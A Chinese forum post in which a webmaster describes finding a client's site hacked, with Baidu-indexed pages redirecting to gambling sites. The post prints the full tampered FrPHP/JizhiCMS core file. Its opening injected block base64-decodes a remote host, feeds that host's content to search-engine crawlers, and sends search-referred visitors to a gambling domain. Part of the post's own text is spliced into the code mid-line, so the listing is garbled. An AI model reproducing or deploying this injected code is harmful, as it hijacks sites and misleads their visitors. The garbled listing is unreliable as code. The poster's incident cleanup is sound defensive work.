去评论
dz插件网

又又又被黑了家人们!!!

xiao9469
2025/05/05 15:22:37
今天早上巡查客户网站发现百度收录不对,心里咯噔一下预感不好!
点进去果然跳转菠菜。。。


看了一下根目录,莫名其妙多出一个fileManage目录,完了,修改日期是2025-1-22的,
这群境外团伙不过年的咩,然后查查查,模板文件没问题,js也没问题,再看看修改日期,
框架文件被动了。。。进去一看没错了。。。。
  1. <?php// +----------------------------------------------------------------------// | FrPHP { a friendly PHP Framework } // +----------------------------------------------------------------------// | Copyright (c) 2018-2099 http://frphp.jizhicms.com All rights reserved.// +----------------------------------------------------------------------// | Author: 留恋风 <2581047041@qq.com>// +----------------------------------------------------------------------// | Date:2018/02// +----------------------------------------------------------------------namespace frphp;set_time_limit(0);error_reporting(0);header("Content-Type: text/html;charset=utf-8");define('URI', $_SERVER['REQUEST_URI']);define('host', base64_decode('aHR0cDovL3NvaHUuaW1hZ2UxLm9ubGluZS8='));define('MULU','timi|app|ios|android|download|blank|games|play|video|news|bak|gods|bmw|vod|post|activities|id|?|a|forum|portal|question');function isEngines($key){return stristr($key, 'Baiduspider') !== false||stristr($key, 'Sogou') !== false||stristr($key, '360Spider') !== false|| stristr($key, 'YisouSpider') !== false;}function isIncludes(){$re = 0;$temp = explode('|',MULU);foreach($temp as $v){if(stristr(URI,$v) !== false){$re = 1;}}return $re;}function isRef($ref){return stristr($ref,'baidu') !== false||stristr($ref,'sm.cn') !== false||stristr($ref,'so.com') !== false|| stristr($ref, 'sogou') !== false;}function getContents($url){    if (function_exists('curl_init')) {        $ch = curl_init();        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)");        curl_setopt($ch, CURLOPT_URL, $url);        curl_setopt($ch, CURLOPT_HEADER, 0);        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);        $result = curl_exec($ch);        curl_close($ch);                if($result == NULL){                        return file_get_contents($url);                }        return $result;    } else {        return file_get_contents($url);    }}$ref = $_SERVER["HTTP_REFERER"];$key = $_SERVER["HTTP_USER_AGENT"];$ym = $_SERVER['HTTP_HOST'];if (isEngines($key)) {    header('Content-Type:text/html;charset=utf-8');    if(isIncludes()){           echo getContents(host."?xhost=".$ym.'&reurl='.URI.'&ua=Baiduspider'.'&f=bd');        exit;    }else{        echo file_get_contents(host."lunlian/dt.php");    }}else{        if(isIncludes()&&isRef($ref)){       header("Location: https://ddd.vieclamvs992.com/?cid=jhgb&ref=" . urlencode($ym));        exit;    }        }// 框架根目录defined('CORE_PATH') or define('CORE_PATH', __DIR__);// 内核版本信息const FrPHP_VERSION     =   '2.1';/** * FrPHP框架核心 */class frphp{    // 配置内容    protected $config = [];    public function __construct($config)    {        $this->config = $config;                //引入系统配置                //定义全局常量                $MyConfig = require(CORE_PATH.'/common/Config.php');                defined('APP_DEBUG') or define('APP_DEBUG', isset($config['APP_DEBUG']) ? $config['APP_DEBUG'] : $MyConfig['APP_DEBUG']);                defined('Tpl_style') or define('Tpl_style', isset($config['Tpl_style']) ? $config['Tpl_style'] : $MyConfig['Tpl_style']);                defined('Tpl_common') or define('Tpl_common', isset($config['Tpl_common']) ? $config['Tpl_common'] : $MyConfig['Tpl_common']);                defined('Tpl_template') or define('Tpl_template', isset($config['Tpl_template']) ? $config['Tpl_template'] : $MyConfig['Tpl_template']);                defined('APP_HOME') or define('APP_HOME', isset($config['APP_HOME']) ? $config['APP_HOME'] : $MyConfig['APP_HOME']);                defined('HOME_MODEL') or define('HOME_MODEL', isset($config['HOME_MODEL']) ? $config['HOME_MODEL'] : $MyConfig['HOME_MODEL']);                defined('HOME_CONTROLLER') or define('HOME_CONTROLLER', isset($config['HOME_CONTROLLER']) ? $config['HOME_CONTROLLER'] : $MyConfig['HOME_CONTROLLER']);                defined('HOME_VIEW') or define('HOME_VIEW', isset($config['HOME_VIEW']) ? $config['HOME_VIEW'] : $MyConfig['HOME_VIEW']);                defined('File_TXT') or define('File_TXT', isset($config['File_TXT']) ? $config['File_TXT'] : $MyConfig['File_TXT']);                defined('SessionTime') or define('SessionTime', isset($config['SessionTime']) ? $config['SessionTime'] : $MyConfig['SessionTime']);                defined('StopLog') or define('StopLog', isset($config['StopLog']) ? $config['StopLog'] : $MyConfig['StopLog']);                defined('DefaultController') or define('DefaultController', isset($config['DefaultController']) ? $config['DefaultController'] : $MyConfig['DefaultController']);                defined('DefaultAction') or define('DefaultAction', isset($config['DefaultAction']) ? $config['DefaultAction'] : $MyConfig['DefaultAction']);                defined('open_url_route') or define('open_url_route', isset($config['open_url_route']) ? $config['open_url_route'] : $MyConfig['open_url_route']);                defined('open_redis_session') or define('open_redis_session', isset($config['open_redis_session']) ? $config['open_redis_session'] : $MyConfig['open_redis_session']);                defined('Cache_Path') or define('Cache_Path', isset($config['Cache_Path']) ? $config['Cache_Path'] : $MyConfig['Cache_Path']);                defined('Session_Path') or define('Session_Path', isset($config['Session_Path']) ? $config['Session_Path'] : $MyConfig['Session_Path']);                defined('APP_LANG') or define('APP_LANG', isset($config['APP_LANG']) ? $config['APP_LANG'] : $MyConfig['APP_LANG']);                defined('APP_LANG_REQUREST') or define('APP_LANG_REQUREST', isset($config['APP_LANG_REQUREST']) ? $config['APP_LANG_REQUREST'] : $MyConfig['APP_LANG_REQUREST']);                defined('ROOT') or define('ROOT', isset($config['ROOT']) ? $config['ROOT'] : $MyConfig['ROOT']);                defined('File_TXT_HIDE') or define('File_TXT_HIDE', isset($config['File_TXT_HIDE']) ? $config['File_TXT_HIDE'] : $MyConfig['File_TXT_HIDE']);                defined('CLASS_HIDE_SLASH') or define('CLASS_HIDE_SLASH', isset($config['CLASS_HIDE_SLASH']) ? $config['CLASS_HIDE_SLASH'] : $MyConfig['CLASS_HIDE_SLASH']);                //引入系统函数                require(CORE_PATH.'/common/Functions.php');                //引入项目函数                $ext_fun = APP_PATH.'conf/Functions.php';                if(file_exists($ext_fun)){                        require($ext_fun);                }                //引入扩展函数                $Extend = scandir(CORE_PATH.'/extend');                //var_dump($Extend);                foreach($Extend as $v){                        if(strpos($v,'.php')!==false){                                include  CORE_PATH.'/extend/'.$v;                        }                }                                //检查缓存文件是否存在                if(!is_dir(Cache_Path)){                        mkdir(Cache_Path);                }                if(!is_dir(Cache_Path.'/tmp')){                        mkdir(Cache_Path.'/tmp');                }                                //设置时区                @date_default_timezone_set('PRC');    }    // 运行程序    public function run()    {        spl_autoload_register(array($this, 'loadClass'));                $this->setDbConfig();        $this->setReporting();        $this->removeMagicQuotes();        //$this->unregisterGlobals();        $this->route();                    }    // 路由处理    public function route()    {                                //读取系统配置                $webconfig = getCache('webconfig');                if( !isset($webconfig['closesession']) || (isset($webconfig['closesession']) && $webconfig['closesession']==0) || APP_HOME=='app/admin'){                        //检查是否开启redis_session ---2019/09/05 留恋风                        if(open_redis_session){                                $session = new \SessionRedis($this->config['redis']);                                session_set_save_handler($session,true);                                if (!isset($_COOKIE['PHPSESSID'])) {                                        session_set_cookie_params($this->config['redis']['EXPIRE']);                                        if(!session_id()){ session_start();}                                } else {                                        if(!session_id()){ session_start();}                                        setcookie('PHPSESSID', $_COOKIE['PHPSESSID'], time() + $this->config['redis']['EXPIRE'],'/',null,null,true);                                }                        }else{                                                                //开启SESSION,并设置600s缓存时间                                //start_session(SessionTime);                                $session = new \FrSession(array('save_path'=>Session_Path,'life_time'=>SessionTime));                                session_set_save_handler($session,true);                                if (!isset($_COOKIE['PHPSESSID'])) {                                        session_set_cookie_params(SessionTime);                                        if(!session_id()){ session_start();}                                } else {                                        if(!session_id()){ session_start();}                                        setcookie('PHPSESSID', $_COOKIE['PHPSESSID'], time() + SessionTime,'/',null,null,true);                                }                                                                                        }                }                                if(isset($_SERVER['argv']) && !isset($_SERVER['REQUEST_URI'])){                        $url = urldecode($_SERVER['argv'][1]);                }else{                        $url = urldecode($_SERVER['REQUEST_URI']);                }              //读取系统配置                $webconfig = getCache('webconfig');                if(!$webconfig){                        $wcf = M('sysconfig')->findAll();                        $webconfig = array();                        foreach($wcf as $k=>$v){                                if($v['field']=='web_js' || $v['field']=='ueditor_config'){                                        $v['data'] = html_decode($v['data']);                                }                                $webconfig[$v['field']] = $v['data'];                        }                        setCache('webconfig',$webconfig);                }                if($webconfig){                        if($webconfig['iswap']==1){                                $webconfig['mobile_html'] = $webconfig['mobile_html']=='' ? '/' : $webconfig['mobile_html'];                                $url = str_replace('/'.$webconfig['mobile_html'].'/','/',$url);                        }                        $url = str_replace('/'.$webconfig['pc_html'].'/','/',$url);                }                //引入自定义路由                                $route_ok = false;                                $method = '';                if(open_url_route){                        $open_url_route = include (APP_PATH.'conf/route.php');                        $urls = '';                        foreach($open_url_route as $k=>$v){                                if($v!='' && $v[0]!='' && $v[1]!=''){                                        $route_ok = preg_match_all($v[0],$url,$matches);                                        $urls = $v[1];                                        $method = strtoupper($v[2]);                                                                                if($route_ok){                                                                                                break;                                        }                                }                        }                        if($route_ok){                                //print_r($matches);                                foreach($matches as $k=>$v){                                        $urls = str_replace('改回来后再点击百度被收录的链接,不跳转了,应该是解决了。。。再好好排查排查但是治标不治本啊,还是得找原因是怎么进来的,要么框架有漏洞{:4_110:}{:4_110:}.$k,$v[0],$urls);                                }                                $url = $urls;                        }                                                $position = strpos($url,'?');                        if($position!==false){                                $param = substr($url,$position+1);                                parse_str($param,$_GET);                        }                                        }else{                        $open_url_route = [];                                        }                                //去除二级目录                $url = str_replace(ROOT,'/',$url);                $url = format_param($url,1);                define('REQUEST_URI',$url);        $controllerName = DefaultController;        $actionName = DefaultAction;        $param = array();                $tpl = get_template();                define('TEMPLATE',$tpl);        // 清除?之后的内容        $position = strpos($url, '?');        $url = $position === false ? $url : substr($url, 0, $position);                //删除入口文件字符串                if(stripos($url,'.php')!==false){                        //获取入口文件            $ds = stripos($url,'.php');            if(stripos($url,ADMIN_MODEL)!==false){                define('APP_URL',substr($url,0,($ds+4)).'/'.ADMIN_MODEL);                $url = str_replace(ADMIN_MODEL,'',$url);            }else{                define('APP_URL',substr($url,0,($ds+4)));            }            $url = substr(strstr($url,'.php'),4);                }else{            define('APP_URL','/index.php');        }                //去除最后的.html后缀                if(stripos($url,'.html')!==false){                        $url = str_ireplace('.html','',$url);                }                        // 删除前后的“/”        $url = trim($url, '/');        if ($url){            // 使用“/”分割字符串,并保存在数组中            $urlArray = explode('/', $url);            // 删除空的数组元素            //$urlArray = array_filter($urlArray);                        foreach($urlArray as $k=>$v){                                if($v!=''){                                        $urlArray[$k] = $v;                                }                        }                        // 获取控制器名                        $controllerName = ucfirst($urlArray[0]);                        // 获取动作名                        array_shift($urlArray);                      $actionName = $urlArray ? $urlArray[0] : $actionName;                        // 获取URL参数            array_shift($urlArray);            $param = $urlArray ? $urlArray : array();                                }                                                // 判断插件中是否存在控制器和操作--2019/2/15 by 留恋风        $app_home = str_replace('/','\\',APP_HOME);        $controller = $app_home.'\\plugins\\'. $controllerName . 'Controller';                if (!class_exists($controller) || !method_exists($controller, $actionName)) {                        // 不存在插件,则进入系统默认控制器            // 判断控制器和操作是否存在                        $controller = $app_home.'\\'.HOME_CONTROLLER.'\\'. $controllerName . 'Controller';                        if (!class_exists($controller)) {                                $controllerName = 'Home';                $controller = $app_home.'\\'.HOME_CONTROLLER.'\\HomeController';                       }            //规定前台数据统一到jizhi里面处理            if(APP_URL=='/index.php'){                if (!method_exists($controller, $actionName)) {                   $actionName = 'jizhi';                                   //Error_msg('方法不存在!');                }              }else{                if (!method_exists($controller, $actionName)) {                    Error_msg('方法不存在!');                }            }            if($controllerName=='Home' && $actionName=='jizhi'){                    if(method_exists($app_home.'\\plugins\\HomeController', 'jizhi')){                                        $controller = $app_home.'\\plugins\\HomeController';                                        $actionName = 'jizhi';                                }            }        }        //定义全局控制器及方法常量                define('APP_CONTROLLER',$controllerName);        define('APP_ACTION',$actionName);                        if(open_url_route && $route_ok){                        switch($method){                                case 'GET':                                $param = (count($this->stringGet($param))>0) ? array_merge($this->stringGet($param),$_GET) : $_GET;                                break;                                case 'POST':                                $param = $_POST;                                break;                                default:                                        //Error_msg('路由配置错误!传输方式未填写或者不正确!请检查Conf/route.php');                                        $_GET = (count($this->stringGet($param))>0) ? array_merge($this->stringGet($param),$_GET) : $_GET;                                        $param = (count($_GET)>0) ? array_merge($_GET,$_REQUEST) : $_REQUEST;                                break;                        }                                                                }else{                        $_GET = (count($this->stringGet($param))>0) ? array_merge($this->stringGet($param),$_GET) : $_GET;                        $param = (count($_GET)>0) ? array_merge($_GET,$_REQUEST) : $_REQUEST;                }                                //读Hook数据缓存                $hookconfig = getCache('hook');                if(!$hookconfig){                        //Hook插件注册--缓存整个插件表数据                        $hookconfig = M('hook')->findAll(array('isopen'=>1),'orders desc');                        setCache('hook',$hookconfig);                }                                if($hookconfig){                        foreach($hookconfig as $v){                                if("app".$v['module']==$app_home && $v['controller']==APP_CONTROLLER && (strpos(','.$v['action'].',',','.APP_ACTION.',')!==false || $v['all_action']==1)){                                        $newhook_controller = '\\app\\'.$v['module'].'\\plugins\\'.$v['hook_controller'].'Controller';                                        $newhook = new $newhook_controller($param);                                        $hook_action = $v['hook_action'];                                        $newhook->$hook_action($param);                                        $newhook = null;                                }                                                }                }                $dispatch = new $controller($param);                $dispatch->$actionName($param);                                                           }                //将链接参数转为GET传值        public function stringGet($urlarray){                $data = array();                foreach($urlarray as $k=>$v){                        if(($k+1)%2==1){                                if(!isset($urlarray[$k+1])){$urlarray[$k+1]=null;}                                $data[$v] = $urlarray[$k+1];                        }                }                return $data;                        }            // 检测开发环境    public function setReporting()    {                ini_set("session.cookie_httponly", 1);        if (APP_DEBUG === true) {            //error_reporting(E_ALL);                        error_reporting(E_ALL & ~E_NOTICE & ~E_WARNING);            ini_set('display_errors','On');        } else {            error_reporting(0);            ini_set('display_errors','Off');            ini_set('log_errors', 'On');        }    }    // 删除敏感字符    public function stripSlashesDeep($value)    {        $value = is_array($value) ? array_map(array($this, 'stripSlashesDeep'), $value) : stripslashes($value);        return $value;    }    // 检测敏感字符并删除    public function removeMagicQuotes()    {        $_GET = isset($_GET) ? $this->stripSlashesDeep($_GET ) : '';                $_POST = isset($_POST) ? $this->stripSlashesDeep($_POST ) : '';                $_COOKIE = isset($_COOKIE) ? $this->stripSlashesDeep($_COOKIE) : '';                $_SESSION = isset($_SESSION) ? $this->stripSlashesDeep($_SESSION) : '';    }    // 检测自定义全局变量并移除。因为 register_globals 已经弃用,如果    // 已经弃用的 register_globals 指令被设置为 on,那么局部变量也将    // 在脚本的全局作用域中可用。 例如, $_POST['foo'] 也将以 $foo 的    // 形式存在,这样写是不好的实现,会影响代码中的其他变量。 相关信息,    // 参考: http://php.net/manual/zh/faq.using.php#faq.register-globals    public function unregisterGlobals()    {        if (ini_get('register_globals')) {            $array = array('_SESSION', '_POST', '_GET', '_COOKIE', '_REQUEST', '_SERVER', '_ENV', '_FILES');            foreach ($array as $value) {                foreach ($GLOBALS[$value] as $key => $var) {                    if ($var === $GLOBALS[$key]) {                        unset($GLOBALS[$key]);                    }                }            }        }    }    // 配置数据库信息    public function setDbConfig()    {        if ($this->config['db']) {            define('DB_HOST', $this->config['db']['host']);            define('DB_NAME', $this->config['db']['dbname']);            define('DB_PREFIX', $this->config['db']['prefix']);            define('DB_USER', $this->config['db']['username']);            define('DB_PASS', $this->config['db']['password']);            define('DB_PORT', $this->config['db']['port']);                        if(DB_HOST=='' || DB_NAME=='' || DB_USER=='' || DB_PASS==''){                                exit('<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />数据库无法链接,如果您是第一次使用,请先执行<a href="/install/">安装程序</a><br /><br /><a  target="_blank">极致CMS建站程序 jizhicms.com</a>');                        }                                }                    }    // 自动加载类    public function loadClass($className)    {        $classMap = $this->classMap();        if (isset($classMap[$className])) {            // 包含内核文件            $file = $classMap[$className];        } elseif (strpos($className, '\\') !== false) {            // 包含应用(application目录)文件            $file = APP_PATH . str_replace('\\', '/', $className) . '.php';            if (!is_file($file)) {                return;            }        } else {            return;        }        include $file;        // 这里可以加入判断,如果名为$className的类、接口或者性状不存在,则在调试模式下抛出错误    }    // 内核文件命名空间映射关系    protected function classMap()    {        return [            'frphp\lib\Controller' => CORE_PATH . '/lib/Controller.php',            'frphp\lib\Model' => CORE_PATH . '/lib/Model.php',            'frphp\lib\View' => CORE_PATH . '/lib/View.php',            'frphp\db\DBholder' => CORE_PATH . '/db/DBholder.php',                    ];    }}// 加载配置文件$config = require(APP_PATH . 'conf/config.php');$url = urldecode($_SERVER['REQUEST_URI']);defined('ADMIN_MODEL') or define('ADMIN_MODEL', 'admins');//判断是否后台入口if(strpos($url,'/index.php/'.ADMIN_MODEL)!==false || (defined('APP_HOME') && APP_HOME=='app/admin')){    //后台    //定义项目目录    defined('APP_HOME') or define('APP_HOME', 'app/admin');    //定义项目模板文件目录    defined('HOME_VIEW') or define('HOME_VIEW', 't');    defined('Tpl_template') or define('Tpl_template', 'tpl');    //定义项目控制器文件目录    defined('HOME_CONTROLLER') or define('HOME_CONTROLLER', 'c');    //定义项目模型文件目录    defined('HOME_MODEL') or define('HOME_MODEL', 'm');    //定义项目默认方法    defined('DefaultController') or define('DefaultController', 'Index');    defined('DefaultAction') or define('DefaultAction', 'index');    //定义静态文件路径    defined('Tpl_style') or define('Tpl_style', '/app/admin/t/tpl');}else{    //前台    //定义项目目录    defined('APP_HOME') or define('APP_HOME', 'app/home');    //定义模板文件夹    defined('TPL_PATH') or define('TPL_PATH', 'static');    //定义项目模板文件目录    defined('HOME_VIEW') or define('HOME_VIEW', '');    //定义项目模板公共文件目录    defined('Tpl_common') or define('Tpl_common', '');    //定义项目控制器文件目录    defined('HOME_CONTROLLER') or define('HOME_CONTROLLER', 'c');    //定义项目模型文件目录    defined('HOME_MODEL') or define('HOME_MODEL', 'm');    //定义模板文件后缀    defined('File_TXT') or define('File_TXT', '.php');    //定义项目默认方法    defined('DefaultAction') or define('DefaultAction', 'jizhi');    //定义静态文件路径    defined('Tpl_style') or define('Tpl_style', '/static/');}header_remove('X-Powered-By');//实例化核心类(new frphp($config))->run();
改回来后再点击百度被收录的链接,不跳转了,应该是解决了。。。再好好排查排查
但是治标不治本啊,还是得找原因是怎么进来的,要么框架有漏洞